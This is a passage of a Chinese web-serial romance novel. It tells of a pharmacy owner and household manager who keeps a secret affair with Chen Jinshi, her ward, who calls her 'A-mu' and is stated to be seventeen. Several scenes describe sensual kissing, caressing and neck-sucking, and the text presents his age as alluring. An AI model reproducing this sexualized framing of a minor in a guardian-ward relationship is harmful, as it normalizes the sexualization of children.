她不禁一愣,要是陈锦时在,只怕又要说她连这种事都要亲自忙活,又要絮絮叨叨一阵子,烦得很。 沈樱踩着小板凳,把竹匾里的金银花轻轻拨匀,指尖捻起一小撮,凑到鼻尖轻嗅,清苦的香气袭来,她点点头:“这个晒够了,都收起来吧。” “东家,这薄荷晒得差不多了,能收了吧?”小伙计抱着竹筐过来。 沈樱点点头,从板凳上下来:“收吧,收好用罐子装起来,别沾了灰。” 正说着,前堂又传来白掌柜的声音:“东家,王大户家的娘子来取药了,说是昨儿抓的安胎药吃着不舒坦,想请你看看方子。” 沈樱应了声:“就来。” 她拍了拍手上的药末,迈开步子往前堂走。 到了前面,王娘子正坐着等,见了她就笑:“这方子我从前在别处抓药吃了原是没问题的,也不知怎的,吃了你们家的药,就是不太舒服。” 听着这意有所指的话,沈樱走到她跟前,接过她手上的方子看了看,在椅子上坐下,又细细问了几句饮食,说话时声音轻轻柔柔的。 沈樱指尖点着药方上的几味药材,抬眼看向王娘子:“这几日是不是吃了些寒凉的东西?” 王娘子愣了愣,眼神有些躲闪:“我身子有些怕热,前儿是喝了碗凉粥。” 沈樱放下方子,声音依旧温和:“这就难怪了,安胎药最忌生冷。这方子没什么问题,剂量也合宜。” 她说着起身,从药柜里取了一小包晒干的陈皮:“这个你拿去,泡水时放两片,应是对你身子好的。” 王娘子接过陈皮,讪讪笑道:“真不是你们这儿的药材不好吗?我从前在别处抓的药吃了也没什么问题的呀。要不,你再替我看看脉象?” 白掌柜在一旁道:“这个您放一百个心,我们药铺向来进药严格,断不会以次充好。再不行,您看看我们柜里这些药材成色,这哪里是次品能有的品相。” 王娘子凑近看了看,脸上的疑虑渐渐散了:“这倒是,我原也是听邻居说,你们这儿的药材好,我才来这里抓的。沈医师,看来是我错怪你了。” “哪里的话,你怀着身孕,谨慎些是应当的。回去先停了生冷,再吃两副药试试。” 王娘子笑着道谢:“我瞧沈医师做事倒是周全,那我就再吃吃看。” 沈樱妥帖送走她,白掌柜擦擦汗道:“只要咱们铺子里药材不出问题,谁也赖不到咱们头上来。” 沈樱应着往后院走,午后搬了张竹凳坐在晾药架旁,手里拿着本泛黄的书在翻看,时不时停下来,伸手翻动竹匾里的枸杞,看那殷红的颗粒在阳光下泛着润亮的光泽。 “东家,苏小姐来了。” 有伙计在外面喊了一声,沈樱站起身,一张温婉柔和的脸顿时变得灿烂无比:“兰舟,你怎么来了?” 苏兰舟穿着件藕荷色的褙子,手里拎着个食盒,见了她也笑盈盈的:“听说你这几日忙得脚不沾地,我母亲新做了些杏仁酥,叫我给你送点来。” 沈樱几步迎上去,拉着她的手往里走:“你可算来了。” “怎么的?有话要跟我说?” 到了里屋坐下,苏兰舟打开食盒,给她递 过去一块:“你先尝尝。” 沈樱接过杏仁酥,咬了一小口,她点点头:“伯母的手艺又精进了,好吃。” “我听我爹说,你家大公子好事将近了?” 沈樱颔首:“就下月十六,你到时候也来。” 苏兰舟离远了些:“我就不去凑热闹了吧,你家大爷成婚这么大的事儿,那二房老爷子怎么可能不插手。上回你家时哥儿中举办的席我就没去。” 一说起陈锦时,沈樱沉默了,手里的杏仁酥差点没拿稳,嘴里的甜意越漫越开。 苏兰舟看她这模样,忍不住揶揄:“陈锦时又怎么你了?” 沈樱脸色难看,终是叹了口气:“兰舟,我没想瞒你,如果我不说的话,我会被憋坏的。” 一说起这个,她虽然耳根通红,却也不会像小姑娘那样故意藏着掖着。 她故作镇定:“也没什么,就是我跟他,不是从前那种关系了。” 苏兰舟眼里的笑意快溢出来了:“真的——那太好了呀!” 沈樱一怔,虽说她信任好友不会因为这个指责她的无耻,但也没想到好友会是这样的态度。 沈樱伸手拍了下她胳膊,认真说道:“小声些,这事得瞒着。” “做都做了,有什么好瞒的。”苏兰舟凑近了些,声音里满是好奇,“快说说,他怎么让你松口的?” 沈樱端起茶杯抿了口,故作镇定:“哪有什么松口不松口的,他长得又俊,浑身又长成那样,你也见过的呀,就那么堵着我……我能拒绝吗?苏兰舟你说我能拒绝得了吗?”拍着桌子强调。 苏兰舟被她逗得笑出了声:“我说真的,你就依着他吧,你也不吃亏呀。” 沈樱没了脾气,指腹摩挲着杯沿,声音软了下来:“可我心里过不去。” 苏兰舟收了笑,握着她的手道:“你别想那么多了,你情我愿的事情,别为难自己。剩下的让他想办法去,最后他要是没法子,你也玩儿够了,收拾收拾东西往楼烦一跑,谁能戳得了你脊梁骨?” 沈樱听得一愣,倒觉得苏兰舟这话说得有理。 “你这个人就是太要体面了,现在做都做了,你还能反悔不成?” 沈樱轻轻摇头,坚定道:“不能了,不能反悔。” 苏兰舟挑眉,拍了拍她的手背,沈樱心里那点沉甸甸的顾虑,顿时就散了大半。 “但我事先说好,这件事情绝不能让任何其他人知道,并且,到时间了我会走的,我绝不能让他毁掉自己的前程。” 日头渐渐西斜,把两人的影子拉得很长,苏兰舟笑道:“随你随你,反正医书上说了,男人的最佳享用时间,就在十七到二十岁之间,过了这个年纪,体格就会逐年下滑……” 沈樱赶紧往苏兰舟嘴里塞了块儿杏仁酥:“别说了!” 药铺前堂的算盘声渐渐歇了,白掌柜正清点着今日的药材账目,伙计们忙着收拾晾晒的竹匾,药碾声也停了。 沈樱俯身把最后一罐薄荷封好,对着苏兰舟道:“行了,你回吧,我这儿也要打烊了。” “这就赶我了?”苏兰舟笑着起身,理了理裙摆,“我妈做了蜜饯,过几日给你送来。” 话音刚落,就听前面白掌柜响亮的吆喝声:“哟!二爷来了,小的给您请安。东家,二爷来了!” 沈樱手一抖,罐子差点没放稳,苏兰舟顿住了要出去的脚步,忍着笑:“二爷来了,樱樱,你家二爷来了。” 沈樱瞪了她一眼,陈锦时已经大步跨进来。 撇眼见苏兰舟也在,忙拱手作揖:“给苏姐姐请安。” 苏兰舟扶起他,打趣道:“好孩子,快起来,哟,几日不见,时哥儿又长高了,你阿姆给你喂什么好东西吃了?跟我说说。” 陈锦时嘴角噙着笑,正要作答,沈樱把他拉到一边去,亘在两人中间,又瞪苏兰舟一眼。 她手腕被陈锦时顺势握住,他用指腹悄悄摩挲着,磨得沈樱受不了。 “阿姆,我来接你回府。苏姐姐也在,要不要上我们府上坐会儿去?” 苏兰舟摆摆手:“不了,下个月你兄长大婚,我到时候再来吧,今日就不打扰二位了。时哥儿,你可得好好伺候你阿姆啊,别让我失望。” 说着,她朝沈樱眨了眨眼,沈樱翻了她一眼,脸也不会红了。 脸皮厚到一定的地步,就再也不会感到羞耻。 陈锦时就站在她身后,她的后脑勺紧贴在他胸膛上,他的手臂环过她的肩揽住。 他道:“苏姐姐慢走。” 苏兰舟一走,沈樱甩开陈锦时的手:“我还要跟白掌柜对账,你等会儿。” 陈锦时到一旁安安静静坐下:“好,我等阿姆。” 沈樱转过身,强作镇定地走到柜台,翻出账本与白掌柜核对。 但她始终知道,背后有一双眼睛在盯着她。 占有的、审视的、欣赏的、毫不掩饰的、带有深重欲望的…… 沈樱指尖在账本上胡乱划着,白掌柜说的那些药材名称,她一个字也没听进去。 “东家,都对得上,那今天就这样,小的先回了。” “嗯。”沈樱头也没抬。 直到铺子里的人陆陆续续走光,药铺的门被轻轻带上,最后一点喧嚣也被关在了外面。 陈锦时站起身,缓步走到她身后,轻轻环住她的腰。 沈樱浑身轻轻一颤,他的下巴搁在她肩上,不一会儿,唇鼻都埋了进去,声音被闷得很低:“都忙完了?” 温热的气息在她颈侧蠕动,她“啪”地合上手中账册,心乱如麻。 “嗯,回家吧。”她挣了挣。 陈锦时收紧手臂,鼻子又猛嗅了一口:“这里好不容易没人,让我多抱一会儿。” 沈樱缩着脖子:“家里还有些事情等我处置,还有,你今天有在好好读书吗?” “我有。” 他两只手臂在她腹部交错,勒得紧紧的,掐住了她的腰。 “好吧。” 直到她感觉埋在她颈侧的那双唇,不光是呼吸和蠕动,他开始吮吸起来。 沈樱挣开他:“陈锦时,这个不可以。” “为什么不可以?”他声音低哑,带着点委屈。 沈樱把衣领往上拉了拉:“会被人看见的。” 他目光黏在她身上,终究没再坚持,伸手替她理了理被他弄乱的头发,指尖再不经意蹭过她的脸。 “我给你买了点心,你晚上吃一些吧。” 两人并肩往回走,暮色已经漫过整条街。 沈樱刻意想与他拉开些距离,陈锦时却总是不经意地蹭到她的衣袖和裙摆。 两人沉默地走了一段,沈樱忽然道:“要不以后还是乘马车吧。” “好啊,都听你的。” 快到巷口时,陈锦时飞速牵起她的手握了握。 沈樱浑身一僵,终是没忍心甩开。 宽大的衣袖掩着,就像是两人站得太近,衣袖蹭到了一起一样。 实际上,他的手握着她的手,翻来覆去地揉捏、缠绵,拇指在她掌心划过一下又一下。 她的手软绵绵地由他托着,随他摆弄。 他抚摸过她的每一根指节,从掌心延伸到指腹,在关节处揉搓。 他的指腹带着薄茧,蹭得她心尖发颤。 宽大衣袖垂落,像道密不透风的屏障。 在这一段路里,沈樱难得地感到十分安心。 她的手被他完全包裹着,全是他的温度,连带着呼吸都变得滞涩起来。 他忽然用指尖捏住她的小指,轻轻让上提,又缓缓放下,像在把玩一个令他爱不释手的物件,动作里又带着点漫不经心的挑逗。 沈樱的掌心沁出薄汗,他忽然低下头,凑近她耳边:“阿姆的手真软。” 温热的气息拂过耳畔,沈樱手心里的痒意瞬时炸开,顺着胳膊一路窜到脊柱,差点站不住。 她的手不算软的,更不算柔嫩的,只是普普通通、平平常常的一双手罢了。 他整个包裹住她的手,狠狠捏了一下,她吃疼,险些叫出声。 “到了。”他 声音低哑。 沈樱抬头一看,陈锦行正在门口站着。 她猛地抽回手,掌心还残留着他的温度和触感,烫得她赶紧往袖子里缩。 陈锦时站在原地,她快走了两步,嗓音沙哑柔缓:“锦行,你站在这里做什么?” 陈锦行目光从一前一后的二人身上逡巡而过,脸上没什么表情:“我看看你们怎么还没回来。” 沈樱的声音有些不自然:“路上耽搁了些。” 陈锦时往前走了几步,恰好挡在沈樱身前,脸上挂着惯常的笑:“哥,今天阿姆在铺子里有点忙,所以多耽搁了一会儿,你不必等我们的。” 陈锦行侧身:“先进来吧,饭菜该凉了。” 因着陈锦行临行前要与沈樱商议一些事情,更有婚礼的事情要对,一早便说好了,晚膳要一起吃。 他转身往院里走,脚步沉稳,没多问半个字。 沈樱跟在他身后,浑身稍稍有些不自在,陈锦时又蹭到她身边,轻轻扯了扯她袖口。 她往旁边躲了躲,用眼神剜他,陈锦时只低低地笑,手上使了点狠劲儿,霸道地牵住她的手。 进了饭厅,陈锦行回头的刹那,沈樱把手从他手里挣脱出来。 陈锦行站在主位一侧,给她拉出座椅,沈樱不动声色地坐下,陈锦时紧挨着她坐下,慢条斯理地翻开桌上放着的婚礼宾客名单。 陈锦行使人上菜,目光落在名单上:“二房那边今天来人说,老爷子到时候要亲自来主持仪式。” 沈樱抬起头,笑道:“锦行,这个看你,毕竟你是新郎官。” 陈锦行目光落到沈樱脸上:“阿姆,我想你来主持。” 沈樱迟疑道:“你祖父祖母都还健在,你的婚事事关重大,我恐怕……” 陈锦行道:“我与新婚妻子当天定要拜过阿姆才行。” 沈樱拧起眉:“这万万不可,我只是占了个照顾你们的名头,实际上不算你的什么长辈,这说不过去。” 陈锦行坚定道:“这些年府上里里外外全靠阿姆打理,你如何当不上我们的长辈。阿姆,况且,我唯独信任你,只有你在我才放心。” 陈锦行说得恳切,沈樱攥着拳,若是以前,她应也就应了,可如今,她与时哥儿是这种关系,她若还当着所有人的面,受了陈锦行与他新婚妻子一拜,她可真就要被人戳脊梁骨了。 陈锦时慢悠悠站起来,按着沈樱坐下:“阿姆别急,先坐下。哥哥,阿姆不坐高堂,也不需要你拜,高堂上自然是摆放父亲与母亲的牌位。” 陈锦行盯着陈锦时,试图从他眼里探究出什么来。 他又看了看沈樱,大抵猜到了些什么。 陈锦时完全得逞了。 这么快,这么轻易? 说着,陈锦时往沈樱碗里夹了块鱼腹肉,刺都挑得干干净净,又道:“再说了,真要拜,私下里给阿姆磕个头,不比当着外人面实在?哥哥你说是吧?” 沈樱在桌子底下扯了陈锦时两下,示意他少说些,手却被他反手握住,摁在腿上,再不让她动弹。 沈樱朝陈锦行道:“别听他的,我什么也不需要,你婚礼我会替你操持,不会让二房的人沾手,免得把咱们这儿搞得乌烟瘴气的,锦行你放心。” 三人沉默地吃了会儿饭,只有碗筷碰撞的轻响。 “阿姆再尝尝这个。”陈锦时夹了块芙蓉糕放到她碗里,笑得像只讨巧的乖小狗。 陈锦行忽然抬眼,目光恰好掠过沈樱耳尖的红,他放下筷子,淡淡道:“陈锦时,你什么时候学会用左手吃饭了?”—— 作者有话说:小狗微笑:哥哥,你在戳穿什么?? 第37章 这话一说出来,沈樱猛地抽出手,陈锦时掌心骤然一空,心里怅然若失。 他抬头,似笑非笑地看着兄长:“我乐意,你管得着吗?” 陈锦行察觉到沈樱收回的手,又道:“阿姆,关于宾客名单,我还有几处要与你核对。” 陈锦时往她碗里堆了满满一把松子仁,她刚想把松子仁拨回去,那个人的脚就在桌子底下轻轻碰了她一下,她手顿在半空,她穿着软底的绣鞋,那点力道透过布料穿过来,像羽毛搔过心尖。 沈樱指尖一顿,拿起松子仁开始吃起来,抬眼看向陈锦行,声音尽量平稳:“哪里需要核对?我看看。” 几人都已吃好,下人过来撤走餐盘。 陈锦行将名单推到她面前,指尖点了几个名字:“这几位是二房新添的,又是老爷子的几个远房亲戚,按规矩,倒是该请。” 沈樱点点头:“你成婚到底是跟时哥儿中举不一样,别说老爷子的远房亲戚要来,就是一条街上的邻居摊贩的来讨杯喜酒,也是该欢欢喜喜把人请进来的。” 陈锦时后背往椅子上一靠,揣着手道:“要是我成婚,我绝对容不得这些阿猫阿狗来捣乱。” 听了这话,沈樱倒是一愣。 陈锦时的一只手又悄悄伸过来,在桌子底下捉住她的,捏了捏。 沈樱心头微涩,轻轻抽开了手。 陈锦时又给沈樱端来一碟堆得满满的蜜枣:“阿姆多吃点这个,补身子。” 沈樱看着那碟蜜枣,又瞥了眼陈锦时,便拿起一颗蜜枣放进嘴里,甜腻的滋味漫开来。 她慢慢嚼着,看向陈锦行:“别听他的,成婚是多大的喜事,人来得越多才越热闹。” 陈锦时手又在桌子底下探,怕她又把他甩开,只敢扯着她袖口。 “要是我成婚,我就都听阿姆的,阿姆说什么就是什么。”说着,陈锦时挑眉看向沈樱。 沈樱扯了扯袖子,没拽出来。 陈锦行在一旁翻看名单,忽然开口:“多一事不如少一事吧。我明日就要进京,回来还不定是什么境地。阿姆,这些事情就麻烦你了。” 沈樱点头:“你放心,明日需不需要我替你备些什么?” 这算是她应将军所托,对陈家最后的责任,自然要办好,风风光光把大奶奶迎进门。 陈锦行张口:“阿姆,京里怕是比金陵更冷,劳烦你帮我备几套厚实衣物。” 沈樱应声:“好,我这就去准备。” 她正要起身,又被陈锦时按下:“哥哥,你都多大年纪了,几套厚衣裳还要阿姆替你备。算了,你是大爷,这点事我去办就行。” 说着,他站起身,唤了两个丫鬟进来吩咐了一通。 陈锦行蜷在膝上的手团成了拳。 陈锦时又转向陈锦行:“除了衣物,还有什么要带的?药铺里新到了些上好的当归和枸杞,我给你包上一包,路上泡水喝也能补补气血。” 除了不满弟弟的突然截胡以外,陈锦行更不习惯弟弟突然的热情。 “不必了,我自己来就行了。”陈锦行站起身,目光落在陈锦时脸上。 陈锦时从阿姆那里要了那么多,他才不过是要了这么一点点最后的照拂,也要被陈锦时打断。 除了隐隐的失落以外,陈锦行对弟弟很生气。 沈樱全然不知兄弟俩的交锋,对陈锦行道:“这些都是小事,我替你备妥就行了,倒是你,到了京里凡事务必要谨慎些,好生回来才是最要紧的。” 陈锦行“嗯”了一声:“我明日卯时就得动身,阿姆就别操心我了,明日也不必起来相送。” 陈锦时揽住他肩:“哥,我送你。” 陈锦行轻轻拂开弟弟的手,转身回了房。 陈锦时嘻嘻笑着回头,指挥两个丫鬟往包袱里叠棉衣:“你们怎么笨手笨脚的,多给他装两件,塞满些。” 沈樱走过去,接过棉袄三两下叠得整整齐齐:“够了,带多了反而累赘。你去把我刚刚配的药材拿来,我一并给他装进去。” 陈锦时“哦”了一声,乖乖去了。 “暖手炉也装上两个好的,陈锦时,我柜子里有两个新做的,你也去拿出来。” “知道了。” 陈锦时把东西 一股脑地拿过来,这厅里已经没其他人了,他递给沈樱,一边看着她往里装,一边从身后抱住她。 下巴搁在她发顶蹭了蹭:“阿姆……” 又是那种,又黏又腻,带着撒娇和讨好的语气。 “怎么了?” 沈樱没急着推开他,而是缓缓扫视过厅堂四周,确定无人在侧了,才放下心。 “没什么,就是有点不舒服。” 沈樱一愣,放下手里的东西,转过身看他,轻轻蹙起眉头问他:“哪儿不舒服?是不是吃坏肚子了?还是又犯病了?” 陈锦时捂着胸口:“这里有点不舒服。” 沈樱就怕他是发病了,尽管他已经很久没有发过病了。 沈樱将他搂在怀里,找了把椅子,扶他坐下,他一坐下,拉住她手腕一扯,他便将她环在了腿上坐着。 沈樱一怔,忙去拉他的手腕探脉:“还有哪儿不舒服,快说!” 陈锦时搂着她腰,头埋进去狠狠嗅了一口。 只要他能喘得上气,沈樱倒是不太在乎他在哪里吸气。 “阿姆,你好香啊……” 沈樱探完脉,到底还是有些不放心他:“说说,到底哪里不舒服?” 陈锦时闷闷道:“没什么,就是心里有点不舒服。” 她没急着生气,只是问:“为什么?” 他收紧了手,把她往怀里带了带,声音沉了沉:“我就是见不得你一直藏着掖着那样,连哥哥都不能知道吗?” 沈樱一噎,抬手拍了他胳膊两下:“你这不是废话?我们这样……” “我们这样怎么了?” 他抬起头,扳过她的脸,强迫她直视自己:“我们又没做什么对不起他的事。” 他的气息喷在她脸上,带着少年人独有的热烈,烫得她心口发麻。 她看着他眼里的光,忽然说不出反驳的话。 “但是一开始的时候,我就跟你说好了的,两个条件,一,绝不能被任何人知道;二,我随时可以叫停,然后我们就当做什么也没发生过。” 陈锦时又埋头下去,传出闷闷的声音:“知道了。” 沈樱只觉得胸口处的呼吸烫得惊人,她推了推他:“陈锦时,你确定你没事吧?” 眼见他呼吸通畅,气色红润,沈樱才彻底放下心来。 她把他拢着轻轻抱了一会儿,就推他起来:“好了好了,锦行的东西还没收拾好呢,你既然揽过来了,就好好做。” 陈锦时起身,拿着包袱道:“那你来帮我。那些丫鬟们都笨手笨脚的。” “再装上一双护膝,万一他要骑马呢?” “哦。” 等所有东西都归置妥当,包袱已经鼓囊囊的了,陈锦时拎着掂了掂:“我先给他放马车上去。” 沈樱叫他拿来:“我再检查一遍,看看有没有什么漏了的。” 陈锦时趁机又从身后抱着她,下巴搁在她肩上。 “你再去看看,马喂好了没?” 陈锦时不耐烦道:“喂好了喂好了,这个事情早就吩咐下去了。” 沈樱检查完,最后系上包袱:“放车上去吧,然后回房歇着去。” “哦。” 陈锦时刚走出去两步,又转过头道:“你先回去,先别关院门。” 沈樱瞪他:“干什么?” 窗外的月光不知何时爬上窗棂,在他眼里映出细碎的亮。 他的眼神极具侵略性,更潜藏着得不到满足的欲望。 沈樱一怔,别开头:“天黑了,大家都该回房了。” 陈锦时声音压得又低又哑,祈求道:“阿姆,就一小会儿。” 沈樱浑身的骨头都像被泡软了似的,含糊应了声:“嗯。”算是妥协。 陈锦时终于心满意足地出去,沈樱狠狠松了口气。 她回到汀兰园,把院门关上,留了一个小小的缝隙。 她摸了摸发烫的脸颊,回想起苏兰舟说的那话。 陈锦时正好十七岁,是个很让人着迷的年龄。 外面的人都说陈二是个混小子,就算长相英俊,又有学识,也并没有多少小姐仰慕他,他也并未成为媒人手里的香饽饽。 唯有在她手里,他乖得不得了,他具有所有美好的特质。 除了偶尔……只是偶尔。 沈樱轻轻呼吸着,走进房里,取了一件浅蓝色的蒙袍换上,又在屋内点上灯,点得不多,总共两盏,把屋子照得昏黄。 烛光透过窗纸漫出去,在窗外投下一片朦胧的光晕。 沈樱坐在妆台前,铜镜里映出她微红的脸颊,不一会儿,门外传来极轻的脚步声,一下一下踩在她心上,她心口一跳。 “沈樱,睡了吗?”陈锦时的声音隔着门板传来。 沈樱没应声,他透过窗纸,应当能看到她就坐在那儿。 她果然听见“吱呀”一声轻响,她特意为他留着的门缝被推开。 男人裹挟着夜露的清寒挤了进来,反手又轻轻带上门。 一切都发生得那么悄无声息。 他大步向她走来,月光和烛光勾勒他挺拔身形,沈樱被他看得不自在,转过脸去理妆台上的胭脂盒。 他很快到她身边,他捧起她的头,扳着往上扬起,她下颌被他托在手里,柔软嘴唇因着头颅上仰而微微张开,露出晶莹剔透的涎液。 他拇指碾过她微张的唇瓣,随即俯下身,滚烫的唇直接覆了上来,没有试探,没有轻啄,只有灼热气息的掠夺。 “嗯——”她的声音绵长而婉转,鼻音里带着她独有的韵味。 她闭上眼体会。 都兰,你留着门,等的不就是这个吗? 陈锦时永远不会让她失望,陈锦时永远是她的乖孩子。 她喜欢他撬开她的唇齿,她喜欢他按住她的后颈,叫她避无可避。 她的唇瓣被他吮得发麻,那是一种奇异的酥痒,从舌尖一路窜到尾椎。 她双手不由得环住他的腰,以作支撑,否则她将浑身瘫软。 她摸到了他紧实的肌理,没有一丝柔软赘肉。 直到她喘不过气了,他才稍稍退开,两人的滚烫呼吸打在对方唇上,他放在她后颈的手挪到前面,两只手都捧着她的脸。 他在由上而下,认真,观察,她意乱情迷的模样。 她避无可避,便要扭头,头颅却被他两只手掌禁锢住。 他蹭蹭她鼻尖,拇指在她脸颊上轻抚,像是安抚一般,他看着她被吻得红肿的唇,喉结滚动了一下,又低头轻轻啄了啄。 “阿姆很乖。” 他声音哑得厉害,带着满足的喟叹。 沈樱没说话,他重新将她抱进怀里,这次抱得很紧。沈樱如同一只木偶一般,被他靠在他胸口,听着他有力的心跳。 心里从没有感到这样幸福过。 都兰,你明明为他意乱情迷、心花怒放,为什么不承认呢? 她轻轻闭上眼,深深地沉迷。 陈锦时子时从汀兰园出来。 翌日卯时,陈锦行早早出门,打马的小厮已在门外候着他了。 “大爷,时辰不早了,该出发了。” 他回头看了一眼,陈锦时姗姗来迟。 他步子迈得很快,刚睡醒的模样,头上只松松垮垮系着根发带,穿着天青色的长衫,一双眼睛亮的很,看起来清清爽爽。 “哥,等久了吧?我怎么可能不来送你。” 他声音里带着点刚睡醒的微哑,却浑身都透着精神,他抬手把肩上搭着的披风取下来:“这个你带上,早上风大。” 陈锦行伸手接过,利落地披在肩上。 陈锦时又摸出个油纸包,递过去:“阿姆昨晚吩咐厨房烤的油饼,一直在炉子里煨着,还热乎着呢,你拿着路上吃。” 陈锦行也接过来,声音比往日要柔和些:“你在家里好好的,我过两日就回来。” “知道了。” 陈锦行又道:“陈锦时,那件事,你别让她为难。” 陈锦时方才还噙着笑意的唇角顿时拉得平直:“知道了。” 小厮已将马车打到跟前,陈锦行踩着凳子坐了上去。 他低头看了眼立在阶下的陈锦时,弟弟正仰头望着他,长衫被风掀起一角。 “走了。”陈锦行拉上车 帘。 “一路顺风。”陈锦时挥了挥手。 沈樱不是故意睡过的,她原本想着再怎么也要起来送一送锦行,却没想到负责叫她起来的那个丫鬟被陈锦时收买了。 她昨晚被他亲得昏昏沉沉,倒床就睡着了,连兴奋都来不及,早上睁眼时已是辰时。 沈樱见天光大亮,恍惚了一会儿,随后猛地翻起身。 “遭了,睡过了。” 她从床上坐起身,揉了揉发涨的脑袋,朝外喊道:“白芍,白芍。” 小丫鬟白芍放下手上活计进来:“姑娘,怎么了?” “大爷走了吗?” 白芍道:“大爷卯时就走了呀,二爷亲自送的行。” 沈樱面露懊恼:“我不是让你叫我一声吗?” 白芍挠挠头,道:“二爷说的,姑娘昨晚累着了,让我们今儿不必叫了。” 沈樱听了这话,一口气堵在胸口:“你们到底听他的还是听我的。” 白芍忙道:“自然是听姑娘的,不过,二爷也是担心您受累不是?左不过大爷没几日就回来了,姑娘千万别因着这个生气。” “备水,我要梳洗。” 沈樱坐到铜镜前,颈侧有个很深的红痕,她指腹抚过那处,昨晚不过是听他压着嗓子说了声“阿姆很乖”,她便松手让他一口啃了上去。 她轻轻叹气,指腹在那红痕上按了按,肌肤下的温热像是还带着昨晚的余韵。 梳洗妥当后,她从妆台下面取了一瓶药膏,打着圈抹上那处,又穿了身高领的长袍,这才走出房门。 “陈锦时呢?” 丫鬟回:“二爷送完大爷,就上书院读书去了。” 他今天倒还乖。 沈樱到后院儿看了看,专门给小夫妻腾的院子叫静雅堂,她想着小姑娘会喜欢。 陈兴媳妇指给她看:“按姑娘吩咐,放嫁妆的库房都已经腾出来了,放妆奁的架子也都归置好了。” 沈樱点点头,目光扫过这几间收拾得干干净净的房间,架子是新打的,漆成了温润的栗色。 她拂过一排柜子,满意道:“不错,这样分着放,衣裳、首饰、日常用物各归其位,她取用着也方便。” 她一边扫视,目光落到一对花瓶上:“这对青花瓶太素净了,换一对胭脂红的牡丹瓶来。” 陈兴媳妇道:“我原也想着,将军生前不是有一对儿极喜爱的牡丹瓶,虽样式热闹吉利,但不得姑娘吩咐,我们也不敢贸然拿出来给新妇用。” 沈樱脚步一顿,她原也对将军的旧物没什么处置权,可她若不说,底下人也确实不敢擅用。 她望着静雅堂里正结着青果的石榴树,笑道:“给将军的大儿媳妇用,有什么使不得的?将军库房里还有些什么好东西,尽管都拿出来摆上。” “园子里的花草也添几样来,去花圃挪几盆月季,要大红和粉红的,再搬两盆兰草。” 这样小姑娘不管是喜欢俗的还是雅的,都能赏一赏。 迎接新妇,最要紧的不是投其所好,而是让对方知道,自己家重视她。 忙完这一处,陈兴又匆匆走进来,手里拿着几张红纸:“姑娘,这是拟的婚宴菜单,您过目。” 沈樱接过菜单,扫了一圈各种讨喜的菜名,又翻到后面看了看点心,见杏仁酪、桂花糕都在列,便点了点头:“再添一道莲子百合羹,取一个连生贵子、百年好合的彩头。” 陈兴连忙应下:“记下了,这就去办。” 沈樱抬眼叮嘱:“还有,宴席上的酒,备些上好的米酒和果酒,别用太烈的。” 刚吩咐完这边,又有小厮来报,说女家那边派人来了,想再商议一下迎亲的路线和时辰,免得当日有差池。 “这个你叫他们放心,沿路的街坊我都打好招呼了,届时摊贩们都会让出路来,免得阻了花轿误了吉时。” 沈樱与张家的人见了一面,又连声让对方安心。 那人直道:“早听说沈姑娘是个办事妥帖的,原本我们主家还担心,陈家大房是个武将门第,行事许是要粗犷些,没想到内里竟打理得这般细致周全,全仗着姑娘掌舵呢。我们家小姐能嫁进陈家,有姑娘这样的长辈照拂,真是她的福气。” 沈樱脸上的笑意僵了一瞬,垂眸避开了对方的目光,转而看向墙角新栽的翠竹:“过誉了,我在陈家做这些事情只是受了将军的嘱托,算不得他们的长辈。” 那人摆摆手道:“姑娘太谦逊了,谁不知道你家二爷扬言往后只孝敬你一个人那话,就连他亲祖父亲祖母也得排在姑娘后头。” 沈樱咬咬牙,不自在地抬手拢了拢衣领,颈侧的红痕又开始滚烫起来。 她这个做长辈的,昨晚还不是被陈锦时按在妆台上亲得喘不过气! 沈樱压下心头的燥热,捂着领口,面上还维持着温和笑意,寻着话头岔开:“听说你家小姐陪嫁的箱子多,我让人多搭了几个木架,到时候卸车也方便,张管事要不要去瞧瞧?” 应付了一日,沈樱累得摊下,不是身累,而是心累。 陈锦云依偎在她膝上,轻声哄她:“阿姆你辛苦了,吃些点心吧。” 沈樱抚着她脑袋道:“锦云,大嫂嫁来后,你要好好听她的话,知道吗?” 陈锦云抬头,眨眨眼:“那阿姆你呢?” 陈锦云今年已经十一岁了,沈樱认为她应当知事了。 “阿姆不会在这个家待一辈子,明白吗?” 陈锦云呆呆望着她,眼睛里包着泪,却努力不让泪珠流出来,还安抚她:“我明白的,阿姆也要有自己的人生。” 沈樱看着她,又心酸又欣慰:“嗯,锦云最乖了。” 一日午后,阳光斜斜落在陈府门厅,门外一人高喊:“陈家大爷被太后封为正五品院判!入太医院并发腰牌!” 沈樱吓了一跳,差点以为大祸临头了。 她从陈锦时怀里挣出来,理了理衣领,站起身:“谁来传的信?快,叫他进来问清楚,再封个红包给他。” 陈锦时像个大爷似的,躺在椅子上,怀里一空,两手往扶手上一搭:“这不是好事呢么,你推开我做什么?” 沈樱扶着胸口:“刚刚吓死我了。” 就这时候,陈兴进来了,领着那报信的人:“姑娘,有大好事啊!!!” 沈樱站在陈锦时跟前,陈锦时还在揪扯她裙摆,她猛地挣出来。 “劳烦小哥细说。” 那人是个面生的驿卒,手里还攥着个油布包,见了沈樱便拱手笑道:“陈大人在京为太后请脉有功,皇上亲封太医院院判,正五品衔,这是公文抄件,您过目。” 第38章 说着,那人双手递上一张折得方整的纸。沈樱展开一看,她心脏扑通跳着,匆匆扫过几行字,猛地转头看向陈锦时笑: “是真的!” 陈锦时站在她身后,正歪着头看,嘴角也噙着笑:“看见了。” 沈樱忙对那驿卒道谢,扬声唤陈兴:“快去给小哥备些银两当谢礼,再留小哥用些茶饭。” 驿卒连忙摆手:“姑娘客气,小的还得赶去下一处传信呢。对了,陈大人说,太后娘娘准了他一月婚假,过两日他便回,让您不用担心这个。” 说完这番话,陈兴已取来银子,塞到驿卒手里。那人走后,陈兴笑得眼角堆起褶:“姑娘,大爷这可是光宗耀祖的大事!” 沈樱眼里的笑意也藏不住:“正好府里也差不多收拾妥当了,剩下的不过是添些新鲜花草的事。” 陈锦时又坐回椅子,目光一直黏在她身上,又听陈兴说道:“大公子如今是五品官了,婚事也该比原先更风光些才是。” 沈樱沉吟了片刻,点头道:“是,我记得将军库房里有一对极精美的鎏金烛台,也取出来给他们添用吧。” 陈兴笑着正要应下,陈锦时忽然开口:“不行。” 沈樱瞥他:“你又怎么了?” 陈锦时盯着她看:“好东西全给哥哥他们用了,我们到 时候用什么?” 当着陈兴的面儿,沈樱暗自把那个“我们”归为陈锦时和陈锦云。 陈兴笑道:“二爷倒不必担心这个,且不说二爷成婚还早着呢,再说大爷都做上官儿了,以后家里的好东西还能少了你的吗?” 